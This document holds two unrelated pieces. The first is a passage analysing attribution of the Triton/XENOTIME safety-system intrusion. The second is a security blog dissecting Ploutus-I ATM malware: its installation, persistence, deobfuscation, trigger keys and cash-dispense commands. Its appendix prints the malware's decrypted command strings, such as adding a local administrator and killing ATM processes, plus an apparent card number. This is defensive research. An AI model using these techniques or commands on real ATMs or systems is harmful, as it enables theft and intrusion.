Distributed Control System (DCS) network and finally the safety network. Mechanisms used to facilitate this vary, from custom-developed tooling unique to XENOTIME to variations of several public frameworks to achieve persistence. Irrespective of specific methodology, the intrusion appears focused on ultimately modifying environment safety logic to enable a physically destructive event, given the focus on safety controllers. While arbitrary modifications to the plant’s DCS environment could prove disruptive, safety- and engineering-based mitigations can mitigate or eliminate worst-case scenarios for physical process impacts and destruction. An adversary that desires an effective physical impact would need to eliminate or otherwise disable SIS and related systems for a DCS modification to propagate to the physical environment and cause an impact. Reviewing the Triton incident considering these details, the most likely scenario pursued by XENOTIME was a dual-track intrusion: compromise and modification of facility SIS, to allow for subsequent modifications or disruptions in the plant’s DCS to propagate through the safety layer to induce a physical impact. While engineering controls still exist beyond SIS devices, these nonetheless result in potentially dangerous outcomes such as emergency venting of product or triggering relief mechanisms. Overall, Triton represents only a part of a broader, ambitious sequence of actions to produce a cyber-physical impact scenario. And yet, for all this complexity, the intrusion arguably failed in achieving the likely objective as described above. Rather than allowing XENOTIME to modify logic on the Triconex devices, Triton instead caused these devices to trigger a plant shutdown. While disruptive (and expensive), this scenario pales in comparison to the much more frightening possibility of an incident resulting in facility damage or even potential injury or death to on-site personnel. While the precise reasons for Triton’s failure are unknown, public analysis indicates a potential mismatch between the Triconex hardware and firmware combination used in the victim facility and the platform against which Triton was built. Another, more likely explanation is a post-exploitation action immediately after Triton execution that triggered the controller crash, although analysis from Mandiant and others failed to identify such a payload during post-incident investigation. Irrespective of why Triton largely failed, the framework triggered an immediate disruption of plant operations instead of the more nefarious action of enabling arbitrary modification to safety logic and other SIS functionality to induce a cyber-physical impact scenario. We therefore see something of a paradox: an adversary patient enough to conduct a prolonged, multi-stage intrusion, capable of developing and deploying a malware framework with very specific (and alarming) functionality, but somehow incapable of correctly developing or executing this capability for the victim environment. XENOTIME presents itself as a conundrum – one that we will now analyse in greater detail. ## IDENTIFYING AN ENTITY Approximately one year after the public disclosure of Triton, researchers from Mandiant identified and detailed links between the intrusion and Russia-based TsNIIKhM. Specifically, several enabling tools identified in the victim environment were observed in an unspecified malware testing environment linked to a persona Mandiant linked to TsNIIKhM based on open-source research. Additional observations, such as file metadata, correlating time of activity to standard working hours in Russia, and a possible username identified in observations potentially linked to a likely TsNIIKhM employee, suggested at minimum links to a Russian entity. Overall, while a case could be made linking Triton (and potentially XENOTIME) to TsNIIKhM, initial evidence (where presented) appeared largely circumstantial and incomplete at this time. Matters changed significantly in 2020, when the US Department of the Treasury’s Office of Foreign Assets Control (OFAC) sanctioned TsNIIKhM, specifically for its involvement in enabling the Triton event. While adding the weight of government confirmation to Mandiant’s prior analysis, the press release detailing sanctions noted responsibility ‘for building customized tools that enabled [the Triton] attack’. A savvy reader will notice the Treasury statement does not assign responsibility for building Triton, or for using the malware in the victim environment, to TsNIIKhM. Instead, the USDT OFAC statement appears to mirror Mandiant’s findings, linking TsNIIKhM to enabling tools used during the Triton incident. Further details emerged in March 2022, when a 2021 indictment from the US Department of Justice (DOJ), United States v. Evgeny Viktorovich Gladkikh, was publicly disclosed. This indictment specifically identified a TsNIIKhM employee, Gladkikh, and unidentified co-conspirators as responsible for the actual operations leading to the deployment of Triton (as well as actions against an unspecified oil and gas entity in the United States, discussed in greater detail below). Again, responsibility for Triton’s development is left unsaid. At this stage, TsNIIKhM’s association with Triton and subsequent activities tracked as XENOTIME is well established, but specific details regarding event execution and responsibility remain fuzzy. Looking at the institute in question more closely, TsNIIKhM was founded in 1894 initially for development and manufacture of smokeless powder for the Russian empire. Since that time, the institute has diversified operations into a variety of fields while remaining linked to Russia’s Ministry of Defence (MOD). As noted by both Mandiant and DOJ reporting, identified individuals linked to Triton are connected to a specific entity housed within TsNIIKhM: the Applied Development Center (ADC). ADC’s (now offline) website notes roles in critical infrastructure protection including references to potential cyber operations, with DOJ emphasizing concurrent, non-public roles in offensive tool research and development. Overall, TsNIIKhM’s operations remain oriented toward supporting Russian security, military, and related interests, with ADC appearing to be a particularly sensitive entity within the organization. TsNIIKhM presents itself as a logical entity to research, develop, and create a tool such as Triton given the organization’s mission as a research institution and its history supporting Russian military endeavours. Operationally, one may look at the entity as similar to government-funded laboratories with strong military or intelligence connections elsewhere. Yet where matters become confusing are the distinctions between tool development, tool prepositioning, and final tool deployment. While TsNIIKhM appears a reasonable entity to satisfy the initial stages, having a research institute (even if under Russian MOD sponsorship) actually undertake the infiltration of Petro Rabigh (and other organizations) appears very odd. At first glance, DOJ’s indictment appears only to blame TsNIIKhM (and ADC) for deploying Triton (via Gladkikh), leaving development (presumably a function aligned with ADC’s mission) unmentioned and unattributed. Yet specific language in the DOJ indictment leaves some room for interpretation: ‘Gladkikh and co-conspirators known and unknown to the Grand Jury, including TsNIIKhM and members of TsNIIKhM and ADC.’ While Gladkikh, specifically called out as an employee of TsNIIKhM working in ADC, is directly identified, other involved parties remain unnamed – not an unprecedented action, but odd for a specific ‘name-and-shame’ action from the US government. The implication here is that entities aside from Gladkikh are involved, and while operational matters may link directly to Gladkikh, developmental efforts could reside with other, unnamed parties that reside within the same organizations. Furthermore, DOJ’s 2021 indictment uses the word ‘including’, leaving open the possibility that other entities or organizations beyond TsNIIKhM were involved in the Triton event and subsequent activities. Several possibilities emerge here, from the Russian MOD (through various intelligence entities under Russian military intelligence, also referred to as the GRU) participating in operations to other, non-military but state intelligence-linked bodies contributing to intrusions (or delivering operational tasking to TsNIIKhM and ADC). Adding detail to XENOTIME’s involvement, the DOJ indictment presents a timeline of actions linked to Gladkikh and his co-conspirators that also is intriguing. Actions specifically attributed to the individual include: - Initial access to the Triton victim’s IT network. - Research and exfiltration of data related to Triconex SIS operations in the victim environment. - Deploying and executing the custom version of CryptCat initially flagged by Mandiant as a link to TsNIIKhM. - Pivoting into the operational technology (OT) network at Petro Rabigh via a dual-homed data historian, then migrating from this system to an engineering workstation connected to the victim’s safety network. - Two specific attempts (02 June and 04 August 2017) to install variants of Triton on Triconex devices, resulting in faults then system shutdowns. Notably absent from the above list of actions are the development and testing of Triton itself. While Gladkikh appears to be the primary entity responsible for the Triton intrusion, the actual development of the ‘malware that can kill’ is linked to some other, unidentified entity. Before examining this mystery, a review of subsequent operations linked to XENOTIME – and by association, TsNIIKhM – is in order. ## OPERATIONS SINCE 2017 Since the Triton event, the entity at minimum linked to, if not responsible for, the incident – referred to as XENOTIME by Dragos, but also referred to as Temp.Veles by FireEye and Mandiant – has remained active. Four particular phases of XENOTIME operation stand out given their focus and potential intention. First, shortly after the Triton event and as documented by DOJ, XENOTIME (and Gladkikh specifically) engaged in initial reconnaissance and access activity against a US-based oil and gas company. Although resulting in no identified disruption, or recognized attempt at a physically destructive event such as in the Triton incident, DOJ reporting indicates significant, focused interest in critical aspects of US oil and gas infrastructure. Based on available information, at minimum Gladkikh, and overall XENOTIME activity, sought to preposition within US critical infrastructure in the oil and gas sector. While there are many potential reasons for doing so, such actions would be necessary precursors for enabling a future Triton-like scenario within the victim systems. In parallel with the above, researchers at Mandiant revealed a second intrusion linked to XENOTIME. Reported in 2019, it is unclear when the intrusion took place, let alone the victim or even the industry in which the victim operates. However, Mandiant reporting suggested that XENOTIME-linked activity continued overall tradecraft tendencies revealed in the Triton incident (likely the work of Gladkikh), while adding additional capabilities and tools. Based on ‘multiple Triton-related incident responses carried out by FireEye Mandiant’, the group continued its use of customized publicly available tools (e.g. PLINK and CryptCat). One example, linked to XENOTIME operations through several commercial malware repositories, was the malicious use of Net Square’s Netexec utility. This software, which appears to no longer be supported, is a remote command execution tool functionally similar to the Microsoft Sysinternals PsExec utility. The publicly available binary essentially allows for remote access tool functionality in also implementing file transfer mechanisms along with process manipulation. XENOTIME appears to strongly favour the use of such tools for initial access and lateral movement activity, potentially to allow XENOTIME to ‘blend in’ with benign actions, or to obfuscate attribution efforts. Following the Triton incident and the two items detailed above in this section, XENOTIME appeared to take an interesting turn from oil and gas targeting to researching electric utilities. Based on reporting from Dragos released in 2019, XENOTIME initiated reconnaissance and target development operations against US-based electric utilities no later than late-2018. As noted in reporting and press interviews, none of the observed activity extended to active process disruption or physical destruction. But, given the nature of the Triton event, such intrusions are deeply concerning as they again represent the necessary preliminaries for such an act. The trend of ‘probing, but not exploiting’ appeared to continue when comments from Dragos in 2022 indicated continued XENOTIME-linked operations against liquefied natural gas (LNG) operations, likely in the US. Although emphasized as initial access and survey operations, the identified activity would represent continued interest by XENOTIME in US critical infrastructure operations, while also aligning with efforts to research but not (immediately) disrupt targeted networks. Overall, XENOTIME has remained active since the Triton incident in 2017. While the nature of these actions largely aligned with preparatory or preliminary operations, the group’s history makes these items causes for concern. Having previously deployed a capability likely designed to remove process safety from industrial environments, even consequence-free efforts such as ‘research’ and ‘access development’ carry significant risk as initial steps towards future, far more concerning actions. Frustratingly, the specific motivations behind the Triton event are unknown, which limits our ability to understand just what XENOTIME is tasked with achieving. As a Russian-linked incident targeting an entity in Saudi Arabia, the Triton event is especially confusing considering geopolitical matters. During the Triton incidents and subsequent investigation in 2017, Russia and Saudi Arabia engaged in significant diplomatic discussion leading to a variety of agreements and a state visit by Saudi royalty in October 2017. While such agreements frayed not long after, a state-sanctioned destructive attack against Saudi oil infrastructure during a period of intense diplomatic discussion seems incredibly odd – one reason why some researchers were prompted initially to link the framework to Iran. Alternatively, the intrusion may have desired a pre-positioned capability to hold Saudi infrastructure at risk should such discussions fail. While making for interesting discussion, no actual evidence exists to confirm such a scenario, leaving us with little to pursue this possibility. Given multiple public and private parties linking the event to Russia, we can be reasonably confident in associating XENOTIME to Russian entities, although based on targeting and other factors during the Triton event, links to overall Russian policy and strategic interests appear strange. Nonetheless, XENOTIME sought a physically disruptive event that could result not only in physical damage, but also direct harm to personnel onsite. Geopolitical motivations may remain confusing in this event, given a lack of tensions between Russia and Saudi Arabia compared to other areas such as Ukraine that have been the victims of Russian cyber aggression, but the implications are indisputable for potential impact scenarios. By expanding its targeting post-2017 to the US, XENOTIME shows a continued willingness (if not yet ability) to cause havoc and potentially even direct harm. ## ORGANIZATIONS AND THE CHAIN OF COMMAND TsNIIKhM represents the ‘prime mover’ for Triton actions, based on analysis and reporting from multiple entities – but not the only entity involved given the lack of specificity concerning development of Triton itself. Post-2017 activity becomes murkier still, with primarily private entities – most notably Mandiant and Dragos – publicly identifying continuity from the Triton incident to follow-on actions under the XENOTIME banner, especially against US-based critical infrastructure entities. The very specific identification of Gladkikh and detailed accounting of specific actions taken by him (and unknown co-conspirators) emphasizes an operational role for TsNIIKhM and its ADC component including in non-Triton events, yet silence from other parties on TsNIIKhM’s role in actions post-2017, despite significant warnings (and public identification of cyber operations groups) surrounding Russia’s brutal invasion of Ukraine, stands out. For context, TsNIIKhM is a research institution that resides (indirectly) under Russia’s MOD, via the Federal Service for Technical and Export Control of Russia. As such, it would appear logical for activities linked to TsNIIKhM to associate with other Russian military elements such as the Main Intelligence Directorate (GRU) Main Center for Special Technologies, Field Post number 74455 – also popularly known as ‘Sandworm’. Sandworm is linked to multiple disruptive operations, ranging from the NotPetya wiper event to the three electric disruptive incidents in Ukraine. Given the group’s track record, it would appear a natural ‘fit’ for an attempted destructive operation in a petrochemical facility – yet through multiple statements and actions condemning Sandworm, no entity has ever linked TsNIIKhM (or XENOTIME activity) to Sandworm. Russia’s MOD maintains an entire ecosystem of research institutes and related entities involved in various endeavours, and none of these appear directly linked to supporting active operations such as those attributed by various parties to TsNIIKhM and ADC. TsNIIKhM appears to exist as just one of many organizations supporting various MOD operations and research endeavours – but one notably linked to an attempted destructive cyber attack. Moreover, TsNIIKhM engaged in precisely the operations one would associate with a military or espionage actor – initial access and capability execution, such as in Triton or the 2017-2018 US oil and gas entity incident – while remaining unlinked in any detailed analysis from where one would expect such an organization to be involved, in developing a capability such as Triton. Furthermore, Russia’s MOD does not retain absolute control over the output of military- or defence-focused labs, nor are they the only sponsor for such activity. As revealed in additional USDT sanctions, other facilities such as the Foreign Intelligence Service (SVR)-linked Federal State Autonomous Scientific Establishment Scientific Research Institute Specialized Security Computing Devices and Automation entity (SVA), and the public-private research entity ERA Technopolis also provide critical support in cyber effects capability development to multiple Russian government entities. As outlined in the Treasury sanctions, these organizations provided material support to various Russian-aligned entities, including GRU and SVR elements, across several campaigns. Russia’s MOD and SVR are not alone either – in 2018, USDT sanctioned another state-sponsored research institute for operational connections with Russia’s Federal Security Service (FSB). Specifically calling out cyber operations, USDT’s OFAC statement singled out the Kvant Scientific Research Institute for supporting offensive actions. Based on the institute’s web page, Kvant specializes in a variety of computing tasks and development work, without specifically referencing Russia’s FSB or other entities. Unfortunately, lack of specific details prevents us from determining the precise extent of Kvant’s ‘operational’ support to FSB actions, but this does hint that perhaps XENOTIME and TsNIIKhM may not be as unique as initial assessments would indicate. There thus appears to be a complex ecosystem of government-sponsored, government-aligned, and industry-linked entities intimately tied to enabling Russian-linked cyber operations. Such organizations span the ‘hydra’ of Russian intelligence services – FSB, GRU and SVR – although overlap or links between these entities appear limited to non-existent. A key unifier in USDT OFAC statements is a focus on supporting roles to these agencies though, as opposed to the very direct position TsNIIKhM appears to be involved in through Gladkikh’s actions under ADC. Thus, something materially different appears considering TsNIIKhM compared to other research organizations, where the organization’s ADC division serves not just as a centre of expertise but also a potential reservoir of talent for operational purposes. In comparison, SVA, ERA Technopolis, and (potentially) Kvant appear to be more traditional capability development organizations. For example, leadership of the ERA Technopolis project falls under the prestigious Kurchatov Institute, aligning it with overall Russian (military-directed) scientific pursuits. This is in addition to more dual-use organizations such as the civilian-military Advanced Research Foundation (ARF), specializing in a combination of commercial and military research objectives. Along with SVA and Kvant, the groups focus on developing and deploying technologies to materially improve Russian military and defence performance. Overall, Russian government (and military) investments have substantially increased across multiple ‘bleeding edge’ technologies, including cyber but extending to artificial intelligence, additive manufacturing, and strategic strike capabilities, which is unsurprising, except when the researchers appear to step in front of operations as Gladkikh appears to have done. Precisely why TsNIIKhM and its ADC element would extend beyond this traditional role to active involvement thus represents a mystery. This mystery is extended to questions on what entity – MOD, GRU, or other – tasked TsNIIKhM to execute Triton and follow-on XENOTIME operations. While the involvement of a quasi-government research institute in significant cyber operations is hardly new (one can look at alleged examples such as the involvement of US national laboratories in Stuxnet development) the involvement in direct operations is unique. A theory postulating TsNIIKhM research leading to the development of Triton itself would be easy to accept, but failing to make this attributive statement while aligning intrusion and execution activity to a TsNIIKhM employee represents an oddity. ## OPERATORS AND DEVELOPERS Modern, scalable cyber operations represent a complex interaction of tasks and functions. Whether described through mechanisms such as the ‘Cyber Kill Chain’ or through references to ‘digital quartermaster’ scenarios, cyber operations represent a division of labour between experts and professionals when conducted at any type of scale or sophistication. In the case of Triton and follow-on XENOTIME events, an individual like Gladkikh may be intimately involved in initial access and follow-on lateral movement activity, but to expect the same individual also to research, develop and complete a tool such as Triton in parallel seems unreasonable, if not outright ridiculous. We thus need to differentiate between actors and deployers, and developers and researchers, where tool-specific tracking (e.g. focusing on Triton) differentiates from intrusion analysis and subsequent actions (post-2017 XENOTIME activity). XENOTIME, in this case, represents a curiosity – an entity linked to operational outcomes (breaching Petro Rabigh, deploying Triton, probing various other networks) but not developmental tasks. As such, it would appear to align closer to entities such as Sandworm or other Russian-linked cyber activity groups. But as a research institute, it would seem more aligned with preparatory and tool development actions, as noted in public reporting around entities such as SVA and Kvant. So from a researcher’s perspective, what is going on? For the purposes of XENOTIME, we as researchers must question our ability to adequately identify just what this entity is and who they are. While their involvement (when equating XENOTIME to TsNIIKhM) in the Petro Rabigh incident should go without question now, following multiple researcher and government disclosures, subsequent acts begin to appear murky. We must ask ourselves what distinctions exist between researchers, developers, deployers and actors. In the case of Gladkikh, it appears there was a unification of capabilities, but follow-on events present concerns as the involvement of Gladkikh (beyond the US oil and gas entity), TsNIIKhM, and the ADC division, remain unknown. XENOTIME, essentially, may be an item adhering to strategic interests as opposed to a single, specific entity. In this sense, XENOTIME becomes a placeholder for a broader, deeper campaign linked to Russian strategic interests to develop, deploy, and enable critical infrastructure impacts. As such, TsNIIKhM is simply a vessel for certain actions, beholden to the command and control of some other party – whether that party is the Russian MOD, or reaches all the way to Russian national command authority, remains frustratingly unknown. Post-Triton actions tracked as XENOTIME may very well be the actions of whatever entity tasked TsNIIKhM. From a threat research and analysis perspective, we as analysts must increasingly accept and incorporate this division of labour – even if the precise links and lines of authority remain obscured – into our analysis. XENOTIME represents one element of what is likely a much broader campaign to research, subvert, and lay the groundwork for disrupting critical infrastructure in multiple environments. Perhaps tool development resides with TsNIIKhM, or maybe this institute also, through ADC, engages in operations – but overall, the organization is merely one piece in a much larger machine using cyber actions to execute strategic goals. Analysts must therefore diversify their understanding and expand their horizons. XENOTIME, while a useful moniker and tracking item, is an artificial construct overlaid on complex inter-agency and cross-organizational actions that most – if not all – organizations will have limited if any visibility into. From an attribution and tracking perspective, analysts should therefore accept and embrace the limitations of collection and data sourcing to understand just what is revealed to us, and what remains a mystery as we delve into development, tasking, and other relationships. This is not to advise leaving such actions alone, but rather a call to understand that our insight into complex operations, with unknown sponsors and multiple executing intermediaries, represents a collection item well beyond the capability of all but the most well-resourced government intelligence agencies. XENOTIME, therefore, is a variable – a placeholder collecting a variety of actions, from Gladkikh to TsNIIKhM to the ‘unnamed’ entities in DOJ indictments, and not a unitary, specific, and well-defined entity in the world. ## CONCLUSIONS The 2017 Triton incident represents a seminal moment in cyber operations, as this is the first (known) incident where a threat actor sought to undermine fundamental process safety in a cyber-physical event. As such, Triton remains a critical touchpoint in threat analysis and research, even if the attack likely failed in its objectives given the recorded results. However, the entity (or entities) responsible, tracked under the moniker of XENOTIME, remained active beyond the incident at Petro Rabigh. XENOTIME thus emerged as a persistent, concerning threat to critical infrastructure spanning continents given the entity’s link to physically disruptive, potentially life-threatening outcomes. Yet in grasping XENOTIME and understanding what this entity really ‘is’, we face a question – while direct relationship with TsNIIKhM (and its ADC division) is convenient and helpful, further analysis of events reveals a far murkier picture. While certainly possible, an organization such as TsNIIKhM engaging in offensive, potentially destructive operations on its own accord is not merely curious, but ridiculous within the greater ecosystem of Russia-controlled cyber operations. Instead, TsNIIKhM represents a player in a far wider game with multiple participants engaged in potentially destructive operations for ends unknown. For threat researchers and analysts, the above may appear as so much trivial detail, but a more robust understanding of how complex cyber operations are conducted indicates ‘messy’ situations like Triton and XENOTIME are likely to be the norm for future events. Looking at incidents, particularly those associated with state-directed operations, as a combination of efforts across multiple entities reveals the truth of such events, as composites stretching from research institutes such as TsNIIKhM to known elements such as GRU or SVR. While Triton and XENOTIME appear to subvert some of the expectations around these relationships, with ADC and Gladkikh engaged in very active operations, the underlying trend of a division of labour remains. XENOTIME thus represents less a monolithic actor than a composite of multiple stakeholders acting on the behalf of a national command authority to subvert critical infrastructure functionality. Triton, as worrying as the event may be, could be considered a preview of future operations as the entities subsumed under the XENOTIME label expanded their efforts to multiple critical infrastructure entities. By understanding these relationships (and the dependencies they engender), we as threat analysts and defenders can better appreciate the level of effort involved in such operations, and the need to differentiate between the entities on the keyboard and who their ultimate masters may be.
# Ploutus is back, targeting Itautec ATMs in Latin America Ploutus, one of the most sophisticated ATM malware families worldwide, is back with a new variant focused on Latin America. Discovered for the first time in 2013, Ploutus enables criminals to empty ATMs by taking advantage of ATM XFS middleware vulnerabilities via an externally connected device. Since its first discovery, Ploutus has evolved to target various XFS middleware types, focusing on banks across Mexico and Latin America. Ocelot, the Offensive Security research team of Metabase Q, identified a new variant of Ploutus in Latin America. This variant, dubbed Ploutus-I, controls ATMs from the Brazilian vendor Itautec. Itautec has been connected to other major ATM players over the years. In 2013, the Japanese manufacturer, OKI, partnered with Itautec to enter the Brazilian market; subsequently, NCR acquired OKI's IT services and selected software in Brazil in 2019. Throughout this blog, we will describe the details of this new variant. We will cover the infection methodology, AV bypass technique, obfuscation layers, malware interaction with the crooks, and the XFS control to dispense the money on demand. ## Ploutus-I heist operation overview ### Ploutus-I Installation At the beginning of the heist, the mule extracts the hard disk from the ATM. The binaries and artifacts are copied to the path `C:\itautec`. Because this path is whitelisted by the Antivirus, the binaries and artifacts can bypass detection. Persistence is gained by adding the malware path to the Userinit registry key, which lists the programs run by Winlogon when a user logs in to the system. This path is found here: `HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Winlogon`. The Ploutus-I executable is shown as "Itautec Protection Agent," with a compilation time of April 17, 2020. ### Deobfuscating Ploutus-I Every new variant of Ploutus is harder to deobfuscate, and this last version is not the exception. This section is highly technical but essential to share for researchers to improve awareness and ATM security in the future. If you are not interested in the technical details, please skip to the next section. Ploutus-I has always been written in .NET Framework as a method of further obfuscation to avoid signature-based detection and to make the reverse engineering task very challenging. Before getting into the deobfuscation details, it is imperative to understand how the execution of .NET managed code occurs in memory. For a more detailed explanation, we recommend reading Phrack. In a glimpse, what Ploutus-I obfuscator (Reactor) does is obfuscate the MSIL Managed Code so that the source code cannot be displayed by DnSpy Debugger & Decompiler tool. At runtime, the malicious code is deobfuscated by the malware and then passed to the Just-In-Time (JIT) Compiler to create the native code that ends up being executed by the CPU. By opening the assembly file Itautec.exe, we can immediately see the structure of the old variant Ploutus-D. Later in our discovery, we realized that the criminals behind Ploutus-D just added support to control Itautec/OKI XFS Middleware. ### Deobfuscation strategy Before digging into the deobfuscation strategy, it is crucial to understand how Reactor obfuscator hides the malicious code in memory. When a specific MSIL Code Function (let's say the Ploutus-I Keyboard one) is called, JIT is going to call getJIT to get the address of the compileMethod to compile it into Native Code. However, Ploutus-I already installed a hook in memory redirecting that address to its own malicious one. It then deobfuscates the function and finally calls the original compileMethod to proceed with normal execution. It is worth mentioning that this process is performed in memory and only for the function being called at that moment, explaining why there is no visibility of functions in DnSpy. With this context, our strategy is to set a breakpoint in the original compileMethod in memory, to pivot from there into identifying the function of Ploutus-I controlling the deobfuscation process. For this, we need to switch to a more advanced tool, the Windbg debugger, with its SOS.dll extension to deal with .NET Managed code. Once we set a breakpoint at compileMethod and let the malware run, we can see when the breakpoint hits. We then use the `!CLRStack` command to see the stack trace of managed code, and we found the malicious method that redirects the execution when compileMethod is called. It is essential to mention that each class's static constructor in the malware code uses this function. This function usage makes sense because, as previously mentioned, every method is going to be deobfuscated in memory before getting compiled into native code for execution. Unfortunately, we are not there yet. In previous versions of Ploutus, the above function would contain the deobfuscation code for us to dump. However, when looking at the function in DnSpy, we realized we entered a vast obfuscated function with hundreds of switch cases, spaghetti code, death code, and other tricks, which make it impossible to debug. We keep digging into the new function. Based on previous versions of Ploutus, we expected some keylogging to be running in the background. Based on prior discoveries, we pressed some F keys and eventually got a new hit at compileMethod. When we looked at the stack trace, we identified the function that contained the deobfuscated MSIL Code that was about to call compileMethod to get executed. By accessing that function, the deobfuscated MSIL code is passed to the original compileMethod function. As a result, we receive the second parameter, the CORINFO_METHOD_INFO structure, where we can get the address where the MSIL Code is located and its size. With this information, we can either dump the MSIL Code from memory via DnSpy or directly in Windbg, and we are all set! Now, let’s compare the results by looking at the function `Launcher.KeyBoard::RealStart()` before deobfuscation. We can see it is empty. And then, after the magic happens, we can see the deobfuscated MSIL Code ready to be analyzed! ### Understanding Ploutus-I Inner workings With the MSIL Code in our hands, we can understand what is going on with this new variant. The primary function we focused on is `Launcher.KeyBoard::RealStart()` since it triggers all the actions executed by the malware. It implements a keylogger to intercept all keys and numbers entered by the mule via an external keyboard. It is essential to mention that this variant was successfully executed in the Windows 7 and Windows 10 versions. Ploutus-I encrypts all its strings. When needing one of them, the malware will call the instruction `ldc.14.s` passing an offset as an argument that will be the pointer into a Unicode byte array decrypted from the resources section at runtime pointing to the plaintext value. Following this process, we were able to identify the combinations to trigger specific actions to Ploutus-I. Some functions are from the previous version of Ploutus, but still work in this variant. As an example, `PrintScreen.Windows()` that once the correct combination is received, the screen is displayed. Once the combination "F8F1F2F3F4" is entered by the criminals, the `Launcher.Launch::LaunchClient()` is called. Then inside `Launch.LaunchClient()` function, we can see the offset 0x218 is used to decrypt a string which ended up being “GG.exe” that eventually is able to control the XFS middleware in the ATM. Finally, the binary gets executed but fails in our system since no DLLs are present. ### Controlling XFS to dispense the money The binary GG.exe and XFSGG.dll are used to interface with Itautec/OKI XFS Middleware. When examining the properties of GG.exe, it is described as "JIG NMD." This resembles a legitimate Itautec tool used to test the functionality of the Dispenser. While it is not novel that criminals utilize ATM maintenance tools for malicious purposes, it is interesting that the criminals behind Ploutus did not follow the same methodology to control the XFS middleware directly. This suggests that the group behind Ploutus-I may not be the same group that created prior variants. GG.exe opens a session with the Dispenser by using its logical name as “NDC_CASH_DISPENSER” in order to request information via code number 310 and action “WFS_INF_CDM_CONF.” Once the session opens, GG.exe reads data from the Dispenser to get the total number of notes available and denomination. In the next step, Ploutus-I requests an activation code, similar to a software license. This code enables criminals to limit the number of times the mules can use Ploutus-I to once a day. If the code is correct, it's "show me the money" time! In this stage, the XFS command "WFS_CMD_CDM_PRESENT" instructs the Dispenser to present the requested bills to the mule. As expected, the criminals know the exact ATM version they are targeting and its physical capabilities. As a result, in every round of attacks, the malware requested the maximum amount of bills to retrieve. In this case, the maximum number is 70, starting from the cassette with the highest denomination, to equal $35,000 MXN (~$1677 USD) per round. All the dispensing activity is stored in the log in: `C:\itautec\exe\LibraryLog.txt`. Also, Ploutus creates a SQLite Database at `c:\Users\%USERNAME%\AppData\Roaming\NewLog`, showing the dispensing related activities. ## Recommendations - Periodic check of AV whitelist folders to make sure they are up to date and do not have malicious paths added. - Automatic updates for all the software running in the ATM if possible. - Up-to-date AV signatures. - A proper implementation of hard disk encryption, but it is critical to do it correctly. An incomplete implementation can allow an attack to sniff the Volume keys from TPM to CPU over SPI/I2C bus, among other flaws. - Next-generation centrally managed end-to-end encrypted cameras with tampering detection, motion alerts, and facial detection. - Periodic ATM Penetration Testing to identify vulnerabilities and countermeasures at Hardware, Middleware, Firmware, and Software level. - Make sure your provider generates Indicators of Attack (IOA) and Indicators of Compromise (IOCs) during this exercise to improve the detection and monitoring of these attacks. - Set alerts on specific events inside the Journal, AV, EventLog, or XFS log to detect and respond to these attacks in a timely manner. - Make sure your provider understands the format of the Journal of your ATM and can recommend what type of events to monitor. ## Who we are Ocelot, by Metabase Q, is the leading Offensive Security team in Latin America. This elite team of researchers represents the best of the best, partnered together to transform cybersecurity in the region. Ocelot threat intelligence, research, and offensive skills power Metabase Q's cybersecurity managed solutions. Our Advanced ATM Penetration testing covers logic and physical attacks. We test ATMs with customized malware like Ploutus and others, as well as perform multiple physical attacks in the Dispenser, including Endoscope, TPM sniffing, DMA Attacks, TRF, CMOS Shock, etc., to provide a real assessment experience. Do you know how your systems would perform with ransomware or other advanced attacks? Due to our reverse engineering capabilities, we track and dissect APTs to replicate their TTPs in our customers' environment. As a result, we are able to simulate advanced attacks and measure your security controls' effectiveness and investment. Do you have devices? IoT/ICS? We can assess them as well, from Hardware, Boot Loader, Middleware, Firmware all the way to Application level. We wrote the first secure code guideline for BASE24 to find vulnerabilities at the Switch or Bank BASE24/CONNEX to identify payment authorization bypass and PCI violations. Please reach out at [email protected]. ## Indicators of Compromise: - Paths: - `C:\itautec\exe\*` - `C:\itautec\exe\LibraryLog.txt` - `c:\Users\<user>\AppData\Roaming\NewLog` - `HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Winlogon\UserInit` ## Appendix A ### Decrypted strings - IEBOLDP6 - C:\Diebold\EDC\edclocal.dat2 - [Launcher Client] Request - [LauncherSysApp] Request - CMD.exe /C wmic os where Primary='TRUE' - reboot [Launcher] - TaskKill.exe /F /IM - GG.exe /F /IM - NDCPlus.exe /F /IM - winvnc.exe /F /IM - MSXFSEXE.exe /F /IM - CajaExpress.exe - GG.exe - C:\NDC+\Lib\MsXfsExe - C:\NDC+\Bin$ - [Launcher Client] Admin /C - TaskKill /F /IM - XFSConsole.exe /C - START XFSConsole.exe /C - TaskKill /F /IM - NewAge.exe /C - START NewAge.exe P /C - "C:\Program Files\Diebold\AgilisStartup\AgilisShellStart.exe" - [Launcher] Start - AgilisT:\Program Files\NCR APTRA\SSS Runtime - Coren:\Program Files\NCR APTRA\SSS Runtime Core\ulSysApp.exe - [LauncherSysApp] - "C:\Probase\ProDevice\BIN\ProDeviceStart.bat" - C:\Probase\ProDevice\BIN8 /C - START Delete.bat & pause /C - CMD.exe - [Launcher] Start - CMD procexp.exe - C:\ProgramFiles\Diebold\AMI\Diagnostics\bin\Diebold.Ami.Diagnostics.Diagnostics.exe - C:\Program Files\Diebold\AMI\Diagnostics\bin$ /C - START Main.exe /F /IM - CMD.exe - [Launcher] Start - END /F /IM - Wscript.exe /F /IM script.exe /F /IM vpncli.exe - DIEBOLDJ[Launcher Client] - Inicio Directo BootH - [Launcher Client] - Inicio Directo EPP - LauncherStart - Loading Wait - Press[Esc] to Continue - Software\Microsoft\Windows NT\CurrentVersion\winlogon - C net localgroup administrators /add - [Launcher] - UserPermision Done - Done - [LauncherConfig:] - Service: >[LauncherConfig:] - Launch Menu: <[LauncherConfig:] - Launch App: <[LauncherConfig:] - LaunchDate: 6[LauncherConfig:] - TimeOut: 8[LauncherConfig:] - ReadFile: B[LauncherConfig:] - ExternalDrive: 2[LauncherConfig:] - Patch: - Reset.txt - [Launcher] Windows 7 Detected - install /c - C:\Windows\Microsoft.NET\Framework\v2.0.50727\InstallUtil.exe: & net start DIEBOLDP & - pause - installonly - & pauseuninstall /c - C:\Windows\Microsoft.NET\Framework\v2.0.50727\InstallUtil.exe/u - test - [Launcher] Starting App Mode Detect Windows 7.B[Launcher] - Starting Service Mode.:[Launcher] - Starting App Mode.Launcher - 43246*******4354 - 5204167231340092 - CopyData: - $Config - Read - File Exist. - File Open. - Read End. - Error. - Config New File. - Agilis.log - Config New File - Close. - ConfigCopy: - N.bin - Ploutos - Log.txt - Diebold Event - LogTSYSTEM\CurrentControlSet\Services\DIEBOLDP - Typej - 